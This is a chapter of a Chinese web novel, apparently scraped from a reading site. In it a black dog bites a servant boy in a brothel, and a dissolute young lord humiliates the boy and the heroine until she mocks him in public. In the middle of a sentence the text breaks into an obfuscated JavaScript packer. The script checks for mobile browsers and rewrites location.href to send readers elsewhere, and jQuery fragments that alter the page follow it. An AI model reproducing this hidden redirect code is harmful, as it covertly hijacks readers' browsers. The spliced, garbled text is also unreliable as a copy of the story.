19. 狗咬狗

作品:《钩吻

    招财,素来是条很能吃的狗,能吃的狗自然很肥壮,他又是条伙食不错的狗,沈夜虽然总顾不上它,心情不佳时还要踹它一脚,但招财从来没缺过肉骨头。所以招财是一条又亮、又黑、又壮、又肥的狗。


    这样一条狗蹿向人群,难免惹来一阵惊呼。等这条狗扑向看起来文文弱弱的晏清宁时,已有人吓得捂住了眼。


    大黑狗窜过来时,陈三霸本来腿都软了,但听到众人的惊呼声,也不知怎么生出勇气,猛然推开晏清宁,抱住招财就是一个抱摔。


    招财满眼都是晏清宁,正欢喜着,实没注意一旁瘦小的少年。只听“邦”一声响,地板缝里的烟尘乱飞,招财结结实实被陈三霸抱摔在地板上。它先愣了,随即恼了,打了个滚,抖了抖身上的肉,龇起锋利的獠牙,对准陈三霸就扑了上去。


    “嗷——”凄厉的惨叫划破万花楼的喧嚣,晏清宁心头一紧,慌忙俯身去拽大黑狗,“莫咬!他不是故意的!”


    招财怒发冲冠,小小一只晏清宁压根拽不住它。大黑狗一口咬在少年的屁股上。


    “嗷——”陈三霸又是一声惨叫,晏清宁拉不住招财,只好转头找沈夜。沈夜站在那边灯影中抬眼望来。四目相对,晏清宁只觉他眼底深如寒潭,带着审视与冷意,让她忍不住打了个寒战。


    陈三霸被咬了一口后终于找到方向,手脚并用地往身边红漆柱子上爬,一边爬一边扯着嗓子喊:“救命啊!恶狗吃人啦!”


    招财仰头对着柱上的身影狂吠,胸腔里滚出低沉的咆哮,前爪不住刨着地面,凶悍模样惊动了全场。原本围着斗犬围栏叫好的贵客们,此刻都忘了看栏中厮咬的猛犬,齐刷刷将目光投了过来。晏清宁无计可施,只得扬声唤了句:“沈夜!”


    沈夜身侧的公子惊得挑眉,手肘撞了撞他:“你这狗平日连眼皮都懒得抬,我还当是哑的,今日倒显露出这般烈性。”


    沈夜木着脸,没说话。那公子却不肯罢休,努了努嘴笑道:“那是谁呀?”


    “不认得。”


    “唬谁呢,人家喊你呢。”话音未落,沈夜已转身往雅阁走去,公子不依不饶跟上去,“再说招财都不咬他哎,只对着柱子上那只猴儿狂吠。”


    “大概看柱子上的不顺眼吧。”沈夜慢悠悠走回他们包下的那间雅阁,在长花梨木桌前坐下了,有侍女给他斟酒。沈夜一饮而尽。


    那公子眼睛不措地盯着远处的晏清宁看,然后扑哧笑了,“分明是个姑娘嘛。你这是哪里招来的桃花?”


    沈夜只当没听见,将酒杯放在桌上,执壶的女子又给他斟满。


    万花楼的老鸨四十多岁,白白胖胖,颤着一身小肥肉,呼哧带喘地跑出来,拍着大腿喊,“这是谁的狗,快来人,给我拖出去。”


    万花楼设有设赌局,又有斗狗场,自然养了不少护卫,几个大汉冲了过去,那青年公子腾地站起来,把腰一叉,扯着嗓子喊了一句,“呔,我瞧哪个敢动,那是我家的狗。”


    护卫们果然就没敢动,这祖进宗可他们可惹不起。鸨儿眨巴眨巴眼,大呼小叫地跑雅阁,“我的祖宗呀,我的亲亲三公子,快让它回来,若是咬伤了谁,我就是有十个脑袋也不够赔的呀。”


    那公子扭头看了眼沈夜,见他低头把玩酒杯,根本就是置若罔闻,便露出一副看热闹不怕事情大的表情,“怕什么,咬了我赔钱,你且靠边,别挡我看戏。”


    鸨儿急得直跺脚,却又无计可施,只好回头找自家女儿,“小玉,小玉呢,乖女儿,快来劝劝三公子。”


    随着她的喊声,一个明丽的紫衣女子抱着一只雪白的卷毛狗从人群中挤了出来,她高挑丰满,容颜艳丽,就如一株盛放的牡丹花,正是如今万花楼头牌金玉。她见门口招财一纵一纵往上蹿,喉咙里发出低沉的吼声,柱子上的陈三霸吓得只会哀叫,不由蹙眉。


    “是我们自家跑腿的孩子,不要伤了他,三郎,放他下来吧。”


    三郎笑嘻嘻拉住小玉的手,轻轻拍了下,“你急什么,谁叫他跟狗玩儿抱摔,我们家招财惹谁了?再说本公子觉着今晚上围栏里的狗斗狗一点都没趣儿,倒是场“狗斗人”才新鲜。来,坐下,陪我喝酒看戏。”


    金玉被他拉得趔趄着坐在旁边,心知狗主人是沈夜,忙将自己怀里那只卷毛狗递给身后的侍女,拿净帕擦了手,又将桌上的酒杯奉给沈夜,“沈郎君,您就饶不懂事的小猢狲吧,若是伤人,岂不是坏了三郎的名声。我让那孩子给沈郎君磕头赔罪。”


    沈夜没接她的酒,但还算给她情面,屈起食指放在唇边,打了个口哨,招财闻声,原地转了几圈,喉咙里的咆啸终于低了下去。它回头看了眼沈夜,又瞧瞧身旁的晏清宁——沈夜性子冷淡,踹它的时候也没个轻重,晏清宁身边待着可就舒服多了,三餐定时,还是不时有零嘴。招财暗暗权衡了下,蹭到晏清宁身边趴下了。


    沈夜的脸色沉了下来,冷喝道:“过来。”


    声音不高,却带着威压,不知是唤狗,还是唤人。


    三郎笑嘻嘻对身后随从扬了扬下吧。“去,把招财牵过来,把那姑……那位带过来,再把柱子上那只猴儿给我薅下来。”


    晏清宁和陈三霸被押来雅阁;一个满头大汗狼狈不堪,一个捂着屁股一脸痛苦。招财不情不愿地被拴住项圈,拽到沈夜身旁,立刻挨了一脚,它夹着尾巴呜咽两声趴在桌下。


    鸨儿冲过去给陈三霸一个嘴巴。“土娃子,短命鬼,闹的沸反盈天,打碎我多少细瓷玉盏,老娘一把屎一把尿地白养了你这么多年,不见拿一文钱来孝敬,只会惹麻烦。看我不打断你的腿。”


    陈三霸一手捂着腮帮子、一手捂着屁股,跟她对骂,“你这老母鸡何时养过我,再说我们好好的站着,是这恶狗扑了过来,小爷我的屁股都被咬掉一块肉,你不帮我讨公道,反倒骂我。”


    “嚯,你跟谁称爷呢?”那公子乐了。“你先动手摔了我家的狗,还想讹我的银子。小玉,方才你妈妈说了,要打断他一双腿的,你也说让他磕头赔罪,咱们是先断腿还是先磕头?”


    鸨儿只好拔下头上金簪子,照着陈三霸身上一通乱扎,“这是三公子和沈郎君的狗,咬你两口就当给它磨牙了。还不快跪下。”


    陈三霸被扎得吱哇乱叫,死活不肯跪,嘴里仍旧骂骂咧咧,那公子看看晏清宁又看看沈夜,装腔作势地把脸一沉,“这是给本公子唱戏呢,来人,按住了,让他跪,不跪就打断他的腿。”


    他带着四个侍


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840840|190851||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    从一冲而上,推开鸨儿,拎小鸡似的抓住陈三霸,照着膝窝便是一脚,陈三霸重重跪在地上,晏清宁实在看不下去了,只好求助沈夜。


    “他是为了救我才惹的事,别打他了。”


    沈夜还是不看她,把手中酒杯递给金玉,金玉眼珠咕噜咕噜在晏清宁身上直打转,但迅速给沈夜倒了杯酒。


    三郎围着晏清宁转了两圈,像是看什么稀罕物,“你是谁?”


    晏清宁忍着怒意,对三郎一躬到地,“不相干的路人罢了,我们冲撞了贵人,要罚要跪我都认,只求饶了我弟弟吧。”


    她轻声细语的,身段纤细,虽然是书生装扮,肌肤白得似雪,眉眼间满是委屈,让众人都生出怜悯之心。不想三郎是个没心的,笑说:“既然如此,那你跪吧。”


    晏清宁微微一滞,随既就跪下了,三郎不想这人如此性子软和,有些意外,他又看了眼沈夜,沈夜虽然没说话,眉头却不由皱了下。


    陈三霸没想到晏清宁真的为他跪下了,少年心里一热,一肚皮的气也散了,这才觉得自己真的不该惹这些权贵子弟。他也终于不挣扎了,也跪在晏清宁身边,颇有些仗义豪情。“不关他的事儿,是我摔了你的狗,要打要罚冲我来。”


    金玉忙也起身,半蹲半跪下来,一双凤眼半是柔情,半是水雾,“三郎,算了吧。”


    三郎哪是要为难他们,三郎是好奇沈夜究竟管不管。分明这女子跟沈夜相识,沈夜为什么不承认。三郎已经脑补出一场“少女痴情错付,浪子始乱终弃”的大戏。


    这也太有趣了。


    于是他故意不搭理金玉的求情,对晏清宁道:“本公子从来没什么大量,既然你弟弟不懂规矩,今日便教你们学学规矩,来人,给我打断这小子的腿。”


    晏清宁心里一沉,跪也跪了,求也求了,这三郎是个油盐不进的主儿。她稍作权衡,只能赌沈夜不会看她挨打,须将这位三郎的恼怒引到自己身上。


    她缓缓起身,笑容退去,语调也冷了。“教我们规矩?敢问您又是哪一位?”


    三郎笑嘻嘻指了下自己鼻子,“听好,我,一品武安郡侯世孙,轻车都尉??,安西将军,姓萧名晨,字谨之。”


    晏清宁听他报上一长串名头,轻轻点头,脸上又浮现出沈夜惯常见过的那种甜甜蜜蜜的皮笑肉不笑。“哦,原来是你,听说过的。”


    “是嘛?”萧晨可高兴了,往前凑了凑朝着沈夜努嘴,“是他跟你说的?”


    晏清宁笑意更深,声音不大,却清晰地传遍雅阁,“便是当年花了一万一千两银子跟人家争捧花魁,被武安侯老侯爷一嘴巴抽晕了的那位么?”


    全场鸦雀无声,金玉倒吸一口气,鸨儿捂住自己的嘴,连陈三霸心里都叫了声“娘呀……”


    晏清宁刚才一笑,沈夜就知道她要惹事,这小骗子果然不让人失望。


    武安侯世子萧晨扁扁嘴,回头瞪了眼沈夜,“你怎么还跟她说这个?”


    却听人群中一个声音嗤笑:“说得好,武安侯家的三孙子真是一如既往,专干些不上台面的事。”


    众人心说——好嘛,京城寻勋贵中两个最著名的纨绔子弟这么快又凑到一起,今晚上万花楼有热闹看了。